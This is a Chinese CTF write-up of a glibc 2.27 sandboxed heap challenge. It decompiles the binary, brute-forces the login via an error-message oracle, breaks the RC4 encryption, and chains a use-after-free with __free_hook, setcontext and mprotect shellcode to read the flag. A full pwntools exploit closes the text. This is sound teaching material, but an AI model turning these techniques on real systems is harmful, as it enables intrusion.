题目分析
Glibc2.27,64位保护全开,沙箱ban掉了execve和execveat,打orw。
爆破用户名和密码
这个程序上来先在远程打开了用户名和密码的文件要我们输入,找了半天没找到题目里能有什么提示,还是当时队里做逆向的师傅搞定的。观察发现,函数比较输入的逻辑比较奇怪。先调用了一个自己实现的strcmp,这里对我们的用户输入调用了strlen,然后按照用户输入的长度去比较:
1 2 3 4 5 6 7 8 9 10 11 12 13
| __int64 __fastcall my_strcmp(const char *a1, char *a2) { unsigned int i; unsigned int v4;
v4 = strlen(a1); for ( i = 0; i < v4; ++i ) { if ( a1[i] != a2[i] ) return 0xFFFFFFFFLL; } return 0LL; }
|
中间有不一样的就返回“Invalid username”,而如果全一样再去比较用户输入和指定用户名/密码的长度,不一样再输出"Invalid password".这两种不同的回显加上源程序死循环调用的特性,让我们可以轻易的利用这一点去对用户名和密码进行爆破
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| while ( 1 ) { while ( 1 ) { puts("Hello, Welcome to the Security Database. Login first!"); puts("Input your username:"); memset(s, 0, 0x11uLL); input(0, s, 0x10uLL); if ( !(unsigned int)my_strcmp(s, ptr) ) break; puts("Invalid username!"); } v4 = strlen(s); if ( v4 == strlen(ptr) ) break; puts("Invalid username length!"); } puts("Username correct!"); puts("Input your password:");
|
下面是这个逐字节爆破的思路:让char从0到0xFF遍历,成功了(回显不一样)就加到发送内容的后面:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| def crack_username(): username = b'' while True: for char in range(1, 128): if(char == 10): continue crack=username + char.to_bytes() p.sendlineafter(b'Input your username:', crack) p.recvline() result=p.recvline() if(result==b'Invalid username!\n'): continue elif(result==b'Invalid username length!\n'): username += char.to_bytes() break elif(result==b'Username correct!\n'): username += char.to_bytes() print(username) return username
def crack_password(): password=b'985da4f8cb37zkj' while True: for char in range(1,128): if(char == 10): continue crack=password + char.to_bytes() p.sendlineafter(b'Input your username:', b'4dm1n') p.sendlineafter(b'Input your password:', crack) p.recvline() result=p.recvline() if(result==b'Invalid password!\n'): continue elif(result==b'Invalid password length!\n'): password += char.to_bytes() print(password) break elif(result==b'Password correct!\n'): password += char.to_bytes() print(password) return password
|
控制流与加密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| switch ( input_10() ) { case 1: save_data(); break; case 2: read_data(); break; case 3: delete_data(); break; case 4: edit_data(); break; case 5: exit(1); default: puts("Error!"); break; }
|
增查删改,程序允许通过exit函数退出。指针和size在全局变量数组里管理,可以看到free存在UAF漏洞:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| int delete_data() { size_t v1; unsigned int v2; char *ptr;
puts("Input the key: "); v2 = input_10(); if ( v2 > 0xF ) return puts("Invalid key!"); ptr = (char *)chunks[2 * v2 + 1]; if ( ptr ) { v1 = strlen(aS4cur1tyP4ssw0); encrypt1(byte_203180, aS4cur1tyP4ssw0, v1); encrypt2(byte_203180, ptr, LODWORD(chunks[2 * v2])); free(ptr); } return puts("Success!"); }
|
这个程序还有一个点是加密,这是一个用了密钥的对称加密。对常见的加密算法不是很熟所以当时放弃了,其实这是一个rc4。
RC4由伪随机数生成器和异或运算组成。RC4的密钥长度可变,范围是[1,255]。RC4一个字节一个字节地加解密。给定一个密钥,伪随机数生成器接受密钥并产生一个S盒。S盒用来加密数据,而且在加密过程中S盒会变化。由于异或运算的对合性,RC4加密解密使用同一套算法。
下面就是一个典型的rc4加密算法初始化的过程,一般初始化要包含三个参数:Sbox数组,密钥,密钥的长度。
-
初始化存储0-255字节的Sbox(其实就是一个数组)
-
填充key到256个字节数组中称为Tbox(你输入的key不满256个字节则初始化到256个字节)
-
交换s[i]与s[j] i 从0开始一直到255下标结束. j是 s[i]与T[i]组合得出的下标。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| unsigned __int64 __fastcall encrypt1(char *a1, char *key, unsigned __int64 a3) { char v4; int i; int j; int v7; _BYTE v8[264]; unsigned __int64 v9;
v9 = __readfsqword(0x28u); v7 = 0; memset(v8, 0, 0x100uLL); for ( i = 0; i <= 0xFF; ++i ) { a1[i] = i; v8[i] = key[i % a3]; } for ( j = 0; j <= 255; ++j ) { v7 = ((char)v8[j] + v7 + (unsigned __int8)a1[j]) % 256; v4 = a1[j]; a1[j] = a1[v7]; a1[v7] = v4; } return __readfsqword(0x28u) ^ v9; }
|
初始化s盒后就是加密了。加密同样接受三个参数:初始化好的sbox,待加密的明文,以及明文长度。
RC4加密其实就是遍历数据,将数据与sbox进行异或加密,而在此之前还需要交换一次sbox的数据交换完之后 再把s[i] + s[j]的组合当做下标再去异或.下面是本题中的加密函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| unsigned __int64 __fastcall encrypt2(char *a1, char *a2, unsigned __int64 a3) { unsigned __int64 result; char v4; int v5; int v6; unsigned __int64 i;
v5 = 0; v6 = 0; for ( i = 0LL; ; ++i ) { result = i; if ( i >= a3 ) break; v5 = (v5 + 1) % 256; v6 = (v6 + (unsigned __int8)a1[v5]) % 256; v4 = a1[v5]; a1[v5] = a1[v6]; a1[v6] = v4; a2[i] ^= a1[(unsigned __int8)(a1[v5] + a1[v6])]; } return result; }
|
程序在读写的时候都会调用这套加密,创建chunk的时候会将输入加密后存储,read的时候会先解密读完再加密写回去,free则是会先解密再free(还算有点良心?)。
攻击思路(重要)
glibc2.27的noexecve的简单沙箱,我们肯定是setcontext栈迁移了,2.27还不用FSOP,直接用hook就行。
什么是setcontext?
这是一个glibc库中的函数,用于恢复上下文。询问ai给出的答案是,这个函数一是可以用于在用户态实现线程和协程,二是作为POSIX标准的残留接口保留了下来。
这个函数牛逼在什么地方呢,它既然是涉及到切换上下文,那么肯定是对大量的寄存器赋值。这个函数中有mov rsp,xxx
这样的gadget,我们可以利用这个东西在用户态劫持栈,实现
stack pivot。这种攻击方式在沙箱heap中非常常见,如果我们能劫持一次控制流,就总能想办法用这个gadget实现栈迁移最后ROP。
在glibc较低的版本中,非常好的地方是,这个函数对rsp赋值还是基于rdi的。以本题为例,setcontext+53
的地方存放的是这样的一条指令:mov rsp, [rdi+0xa0]
。rdi是我们喜闻乐见的,好控制的寄存器,因此这个很好用。如果我们函数第一参数是一个可控的指针,那就任意栈迁移了,于是可以结合free_hook去利用。
另外,在较高的版本中比如glibc2.35,这个函数不再依据rdi赋值,而是变成了rdx(偏移也变成了setcontext+61)。这让我们的利用难度有所增加但是不多,因为我们能找到交换rdx和rdi的gadget。以glibc2.35为例,就在0x167420这么一个gadget:0x0000000000167420 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
, 将rdi+8
指向的内容赋值给rdx,将rax写入栈顶,然后跳到rdx+0x20
指向的位置执行。这样我们就能间接地实现将rdi和rdx关联起来,利用rdi给rdx赋值然后再setcontext
最后setcontext这段函数在给rsp赋值后,会mov rcx,[rdi+0xa8]
然后push rcx
最后ret,因此我们在fakestack地址+0x8的位置就可以写入我们接下来要执行的内容。好用
另外,基于上下文切换还存在一种叫做“SROP”的攻击方法,是利用信号中断等方式,通过在栈上伪造上下文达成控制流劫持,和我们用setcontexgt的gadget有点点类似
回到题目…
因此,在低版本还有hook的时候,我们对于沙箱heap题的思路就是free_hook+setcontext栈迁移rop。rop有两种思路,一种是纯rop去libc中找orw,另一种是写shellcode,然后用mprotect先把heap可执行。由于第一次接触时看的exp采用后者,下面笔者也使用后者的方法。
对于开了沙箱的题目,首先应该动调到我们能够手动控制分配的地方,观察堆的排布,从而确定我们接下来分配的size和堆风水需求,一般tcache和smallbin会比较乱,一般会挑一个size通过取和放将tcache填满后进行我们后续的工作。
对本题来说具体的攻击步骤如下:
-
简单堆风水,然后用unsortedbin泄露libc,用tcache泄露堆地址
-
准备工作,先在一个chunk1中布局我们的fakestack(具体内容见后续)
-
然后在另一个chunk2里填充0xa0垃圾数据后,在0xa0偏移写入fakestack的栈顶(chunk1对应位置),然后在0xa8写入ret的gadget地址
-
任意地址分配chunk分配到freehook处,在freehook写入setcontext+53的地址
-
最后free掉chunk2,触发
此时经历了下述流程:
free_hook(rdi=chunk2_addr)
->(mov rsp,[rdi+0xa0],此时rsp内是chunk1_addr,栈已经被换)
->(mov rcx,[rdi+0xa8];push rcx,此时栈顶是一个ret的地址)
->ret两次,第二次ret就启动了我们fakestack上的rop链
一些板子
关于fakestack的布置,这里写一个板子,因为我们首先要调用mprotect,因此要这么布置(开始可以填很多ret无所谓的):
1 2 3 4 5 6 7 8 9 10
| p64(ret) +p64(pop_rdi) +p64(heap_base) +p64(pop_rsi) +p64(0x7000)(size,无所谓,大点也好) +p64(pop_rdx) +p64(0x7) +p64(mprotect)(直接libc.sym就行) +p64(heap_base+0x1670+0x58)(指向shellcode,也就是下一行的起始地址就行) +asm(shellcode)(orw)
|
然后shellcode如下,buffer随便写一个能读写的地址就行,heap+0x3000这种
1 2 3 4 5
| shellcode = ( shellcraft.open("./flag") + shellcraft.read("rax", buffer, 0x50) + shellcraft.write(1, buffer, 0x50) )
|
总结
最简单的沙箱堆,但是也花了小半天来复现。更高的版本也无非就是用fsop的链子,那一次的控制流劫持换到其他点然后后续还是一样的。或者是先跳到magic_gadget,就是麻烦了点。
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181
|
from pwn import * import re from Crypto.Cipher import ARC4 context.terminal=["cmd.exe","/c", "start", "cmd.exe", "/c", "wsl.exe", "-e"] context.arch = 'amd64' context.os = 'linux' context.log_level = 'debug'
elf=ELF("./pwn",checksec=False) p=elf.process() libc=elf.libc def add(idx,size,value): p.sendlineafter(b'> ', b'1') p.sendlineafter(b'Input the key: ',str(idx).encode()) p.sendlineafter(b'Input the value size: ',str(size).encode()) p.sendlineafter(b'Input the value: ',value) p.recvuntil(b'Success!\n')
def show(idx): p.sendlineafter(b'> ', b'2') p.sendlineafter(b'Input the key: ',str(idx).encode()) p.recvuntil(b'The result is:\n\t[key,value] = ') p.recvuntil(b',') value=p.recvline()[:-1] p.recvuntil(b'Success!\n') return value
def delete(idx): p.sendlineafter(b'> ', b'3') p.sendlineafter(b'Input the key: ',str(idx).encode()) p.recvuntil(b'Success!\n')
def edit(idx,value): p.sendlineafter(b'> ', b'4') p.sendlineafter(b'Input the key: ',str(idx).encode()) p.sendlineafter(b'Input the value: ',value) p.recvuntil(b'Success!\n')
key = b's4cur1ty_p4ssw0rd' cipher = ARC4.new(key)
p.sendlineafter(b'Input your username:', b'4dm1n') p.sendlineafter(b'Input your password:', b'985da4f8cb37zkj')
for i in range(0,9): add(i,(0x290),b'a'*0x290)
for i in range(0,8): delete(i)
leak_addr=show(7) leak_addr=cipher.decrypt(leak_addr) leak_addr=u64(leak_addr[:8]) main_arena_addr=leak_addr-96 libc_base=main_arena_addr-0x3ebca0+0x60 libc.address=libc_base print(f"[+] libc_base: {hex(libc_base)}")
cipher=ARC4.new(key) leak_addr=show(1) leak_addr=cipher.decrypt(leak_addr) print(leak_addr) leak_addr=u64(leak_addr[:8]) heap_base=leak_addr-0x1670 print(f"[+] heap_base: {hex(heap_base)}")
free_hook=libc.symbols['__free_hook']
print("[+] free_hook: ",hex(free_hook)) gadget=libc.symbols['setcontext']+53
mprotect=libc.symbols['mprotect'] add(9,0x40,b'a'*0x40) delete(9) cipher=ARC4.new(key) payload1=p64(free_hook) payload1=cipher.encrypt(payload1) edit(9,payload1) add(9,0x40,b'a'*0x40)
pop_rdi=libc_base+0x2164f pop_rsi=libc_base+0x23a6a pop_rdx=libc_base+0x1b96 ret = libc_base + 0x8aa buffer=heap_base+0x3000 shellcode = ( shellcraft.open("./flag") + shellcraft.read("rax", buffer, 0x50) + shellcraft.write(1, buffer, 0x50) ) shellcode=b'\x00'*0x10+p64(ret)+p64(pop_rdi)+p64(heap_base)+p64(pop_rsi)+p64(0x7000)+p64(pop_rdx)+p64(0x7)+p64(mprotect)+p64(heap_base+0x1670+0x58)+asm(shellcode)
gdb.attach(p,'b free')
payload2=b'z'*0xa0+p64(heap_base+0x1670+0x10)+p64(ret)
cipher=ARC4.new(key) edit(1,payload2)
cipher=ARC4.new(key) edit(0,shellcode) delete(0)
cipher=ARC4.new(key) add(10,0x40,cipher.encrypt(p64(gadget)))
delete(1) p.interactive()
|